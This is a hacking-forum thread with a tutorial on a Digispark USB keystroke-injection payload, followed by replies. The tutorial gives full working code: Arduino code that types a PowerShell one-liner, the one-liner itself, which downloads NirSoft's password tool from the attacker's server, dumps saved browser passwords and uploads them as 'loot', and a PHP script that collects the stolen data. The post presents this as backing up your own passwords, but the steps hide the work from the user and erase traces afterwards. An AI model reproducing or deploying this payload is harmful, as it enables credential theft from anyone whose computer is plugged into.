[Pikami]

[Pointless chapter]

Since a lot of people liked my "1$ USB Rubber Ducky alternative" tutorial, I would like to make more "Payload threads" so that the people who missed the original thread could see this and get interested in developing keystroke injection scripts.


Okay okay, I'll do another one.

[Introduction]

So imagine you own a lot of computers and you have different passwords saved on them, one day you decided to move all of your passwords to one place. To do this you would need to go to every computer, download a program, export the passwords and upload them to a flash drive or something.
Well today pikami has a solution for you!
Let's make a script that does all those things auto-magically!
For the purpose of this tutorial I will not go trough setting up the Digispark dev environment, for that take a look at https://sinister.ly/Thread-Tutorial-1-US...lternative

[What exactly are we going to do?]

• Setup our web server to save incoming passwords
  
• Write a script that:
  1. Downloads a password recovery tool
  2. Uses the tool to export browser passwords
  3. Uploads exported passwords back to our server
  

[What you'll need]

• Digispark
  
• Arduino software
  
• Web server
  

[The process]

• {Setting up the webserver}
  I'll assume you already have appache/nginx with php running on your server.
  * First you have to upload the password recovery tool to your server, for this tutorial we'll be using WebBrowserPassView by NirSoft (link will be in the bottom of the post)
  I downloaded it, named it pw.exe and placed it in the root directory of the server
  * Let's create a directory for our password exports
  
  Code:

      mkdir log
  * Now let's make a php upload script that saves all the data it gets to a file:
  
  Code:

      <?php
        $file = "log/" . $_SERVER['REMOTE_ADDR'] . "_" . date("Y-m-d_H-i-s") . ".creds";
        file_put_contents($file, file_get_contents("php://input"));
    ?>
  I copied this script from a Hak5 tutorial (link will be in the bottom ot the post)
  * The server is now set up
  
  
• {Writing the script for Digispark}
  Okay so the first thing we need to do is write a powershell script that does what we need
  * So at first the script should go somewhere that it wouldn't bother the user: windows TEMP directory is a great place
  
  Code:

      $TempDir = [System.IO.Path]::GetTempPath()
    cd $TempDir
  * Then it should create it's own directory so that it would be easy to clean up after ourselves: "pw" is a perfect name
  
  Code:

      mkdir pw
    cd pw
  * Now the script shoud download the password recovery tool from our server and use it to export the passwords (the "| Out-Null" will force the powershell to wait till the execution is finished)
  
  Code:

      Invoke-WebRequest "https://YOUR_SERVER/f/pw.exe" -OutFile "pw.exe" | Out-Null
    .\pw.exe /scomma pw.txt | Out-Null
  * Then it should upload the loot to our server
  
  Code:

      Invoke-RestMethod -Uri "https://YOUR_SERVER/upload.php" -Method Post -InFile pw.txt -UseDefaultCredentials | Out-Null
  * Let's clean up after ourselves shal we
  
  Code:

      cd ..
    Remove-Item pwd -recurse
  
  Now that we have our script let's program the Digispark to execute it
  
  Code:

      #include "DigiKeyboard.h"

    void setup() {
      // don't need to set anything up to use DigiKeyboard
    }


    void loop() {
      // this is generally not necessary but with some older systems it seems to
      // prevent missing the first character after a delay:
      DigiKeyboard.sendKeyStroke(0);
      
      // Open powershell
      DigiKeyboard.delay(5000);
      DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
      DigiKeyboard.delay(1000);
      DigiKeyboard.print("powershell");
      DigiKeyboard.delay(200);
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      DigiKeyboard.delay(1000);
      
      // Execute code from the interwebs
      DigiKeyboard.print("$TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;mkdir pw;cd pw;Invoke-WebRequest \"https://YOUR_SERVER/pw.exe\" -OutFile \"pw.exe\" | Out-Null;.\\pw.exe /scomma pw.txt | Out-Null;Invoke-RestMethod -Uri \"https://YOUR_SERVER/upload.php\" -Method Post -InFile pw.txt -UseDefaultCredentials | Out-Null;cd ..;Remove-Item pw -recurse");
      DigiKeyboard.delay(100);
      DigiKeyboard.sendKeyStroke(KEY_ENTER);
      while(true){
        //do nothing
      }
    }
  
  
• {You have done it}
  Congratulations! You can now backup the passwords from all those computers you own!
  If everything is done correctly your exported passwords should be located on your servers, let's look at what I got:
  
  Sorry if you wanted to see more, I don't save passwords in browsers
  
  Here's a video demo:
  
  

[Final notes]

So @KuhakuWolf I hope your happy.
On the real note, I hope you all learned something from this and start developing your own payloads.
I would love to see your creations and as always, if you have any questions just ask, I'll be happy to help.

[External links]

https://www.nirsoft.net/password_recovery_tools.html
https://www.hak5.org/blog/15-second-pass...obot-style

[mothered]

Although I use a dedicated system for all account logins, no doubt this Is excellent for Informative purposes. We can always rely on NirSoft to provide the tools. I used a lot of their tools when I created my USB password stealer.

A well documented HQ guide that's easy enough to compile.
Much appreciated.

[KuhakuWolf]

Thank @"Pikami" very detailed and easy to understand.
Will try it today

[Synthx]

This is a very nice and detailed thread. When I get out of school, I plan to start doing stuff with my Pi, and I think I want to buy a Digispark, and get some hak5 stuff maybe.
Thanks @"Pikami" for this HQ thread!

[Dismas]

Storing passwords always seemed like a bad idea to me, although there's always the option of hashing/encryption. Most secure place to keep them, is in your brain.

[mothered]

Most secure place to keep them, is in your brain.

As with devices, your brain also needs a backup.

Your device corrupts, your data Is lost. Your memory does not serve you correctly, your password Is lost. Having said that, If I had to choose between the two, keeping a metal note Is the way to go.

[Pikami]

Storing passwords always seemed like a bad idea to me, although there's always the option of hashing/encryption. Most secure place to keep them, is in your brain.

Yeah, there's also "password stealer" software that steals your FireFox/Chrome/FileZila/Outlook and saved passwords from other software on your computer, that's why I don't save my passwords inside a browser.
Personally I have a separate android phone that never get's connected to the internet and I use Keepass on it to save my passwords.

As with devices, your brain also needs a backup.

Also this, I use different passwords on all sites and I am incapable of remembering them all, so it's good to have a backup.

[mothered]

I use different passwords on all sites

This.

Members who read the above, please not only take It under advisement, be sure to put It Into practice. The same applies (where applicable) with usernames. Create a different username for every (online) account. Both credentials need each other to authenticate the login, so the strength of the username Is just as Important as the strength of the password.

Users predominantly focus on complex passwords, but If the username Is known to the attacker and there's no other form of authentication on the account (2FA, 2 step verification etc), the account Is 50% compromised already.

[Edog15]

Thank you for your contribution! Also it was a very detailed tutorial

[loliki]

Thank you for this !!!!!!